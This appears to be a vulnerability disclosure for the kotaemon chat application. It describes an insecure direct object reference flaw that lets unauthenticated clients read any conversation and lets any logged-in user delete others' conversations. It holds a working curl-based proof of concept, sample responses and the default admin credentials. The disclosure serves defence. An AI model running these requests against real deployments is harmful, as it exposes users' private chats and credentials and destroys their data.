Cross-User Conversation IDOR -- Unauthenticated Read and Authenticated Delete of Any Conversation

def select_conv(self, conversation_id, user_id):
    with Session(engine) as session:
        statement = select(Conversation).where(Conversation.id == conversation_id)
        try:
            result = session.exec(statement).one()
            id_ = result.id
            name = result.name
            # ...
            if user_id == result.user:
                selected = result.data_source.get("selected", {})
            else:
                selected = {}
            # NO EARLY RETURN -- chats are returned regardless of user_id
            chats = result.data_source.get("messages", [])

def delete_conv(self, conversation_id, user_id):
    # ...
    with Session(engine) as session:
        statement = select(Conversation).where(Conversation.id == conversation_id)
        result = session.exec(statement).one()
        session.delete(result)   # no check that result.user == user_id
        session.commit()

### PoC

Prerequisites:
- kotaemon running with `KH_FEATURE_USER_MANAGEMENT=true` (the default)
- The attacker must know a valid conversation ID (32-character UUID hex). Conversation IDs can be obtained by: (a) logging in with the default admin credentials (`admin`/`admin`) and observing conversation IDs in the dropdown, or (b) any other means of obtaining the ID from a URL or another user.

**Step 1 -- Read any conversation (no authentication required):**


SESSION=$(python3 -c "import uuid; print(uuid.uuid4().hex)")
TARGET_CONV_ID="<victim-conversation-uuid>"

# POST to queue/join with fn_index=31 (select_conv), no auth cookie
EVENT_ID=$(curl -s -X POST http://TARGET:7860/queue/join \
  -H "Content-Type: application/json" \
  -d "{\"fn_index\": 31, \"data\": [\"$TARGET_CONV_ID\", null], \"session_hash\": \"$SESSION\"}" \
  | python3 -c "import json,sys; print(json.load(sys.stdin)['event_id'])")

# Retrieve the SSE result
sleep 1
curl -sN --max-time 8 "http://TARGET:7860/queue/data?session_hash=$SESSION"


Expected response (abridged):

{
  "msg": "process_completed",
  "output": {
    "data": [
      null,
      "<conv-id>",
      "Admin Top Secret",
      [["What is the DB password?", "The password is: Sup3rS3cr3t!"]],
      ...
    ]
  },
  "success": true
}


`data[2]` is the conversation name; `data[3]` is the full chat history.

**Step 2 -- Delete a conversation (requires a valid session, any user):**


SESSION=$(python3 -c "import uuid; print(uuid.uuid4().hex)")
TARGET_CONV_ID="<victim-conversation-uuid>"

# 2a. Authenticate as any valid user (even anonymous session works for read;
#     delete requires user_id != None)
curl -s -X POST http://TARGET:7860/queue/join \
  -H "Content-Type: application/json" \
  -d "{\"fn_index\": 1, \"data\": [\"bob\", \"Bob1234!\"], \"session_hash\": \"$SESSION\"}"
sleep 1; curl -sN --max-time 5 "http://TARGET:7860/queue/data?session_hash=$SESSION" > /dev/null

# 2b. select_conv with victim ID -- writes target ID into session state (component 23)
curl -s -X POST http://TARGET:7860/queue/join \
  -H "Content-Type: application/json" \
  -d "{\"fn_index\": 31, \"data\": [\"$TARGET_CONV_ID\", null], \"session_hash\": \"$SESSION\"}"
sleep 1; curl -sN --max-time 5 "http://TARGET:7860/queue/data?session_hash=$SESSION" > /dev/null

# 2c. delete_conv -- reads conversation_id from session state; no ownership check
curl -s -X POST http://TARGET:7860/queue/join \
  -H "Content-Type: application/json" \
  -d "{\"fn_index\": 35, \"data\": [null, null], \"session_hash\": \"$SESSION\"}"
sleep 1
curl -sN --max-time 8 "http://TARGET:7860/queue/data?session_hash=$SESSION"


Expected response for delete:

{
  "msg": "process_completed",
  "output": {
    "data": [null, {"choices": [...], "value": "..."}]
  },
  "success": true
}


The victim's conversation is gone from the database.

**Live-validated on commit 9ad3e4e (2026-06-01):**

Admin conversation "Admin Top Secret" (owner: admin, is_public: true) was read and deleted by user "bob" (a regular non-admin user). Deletion confirmed by querying the SQLite database directly:


Before: [('f979db0f54d54433aa07bcf3f816002b', 'Admin Top Secret', '3c1f04a9...')]
After:  []  -- conversation absent after delete_conv call by bob


Read confirmation -- message content returned by select_conv for unauthenticated session:

data[2]: 'Admin Top Secret'
data[3]: [['What is the DB password?', 'The password is: Sup3rS3cr3t!']]


### Impact

Any HTTP client that can reach port 7860 can read the full chat history of any conversation by supplying its ID. No authentication cookie or token is required for the read path. An authenticated regular user can additionally delete or rename any conversation owned by any other user. In a multi-user deployment where users store sensitive information in chat sessions (API keys, credentials, confidential document summaries), this vulnerability exposes all conversation contents to any network-adjacent attacker who discovers a valid conversation ID. Conversation IDs are 128-bit UUIDs and are not guessable by brute force, but they are visible in the browser URL/dropdown to the owning user and may be shared or leaked through other means. Combined with the hardcoded default admin credentials (`admin`/`admin` set in `flowsettings.py`), an attacker can log in as admin, enumerate all conversation IDs visible to admin, and read or delete any conversation in the system.

![DESCRIPTION](LINK.png)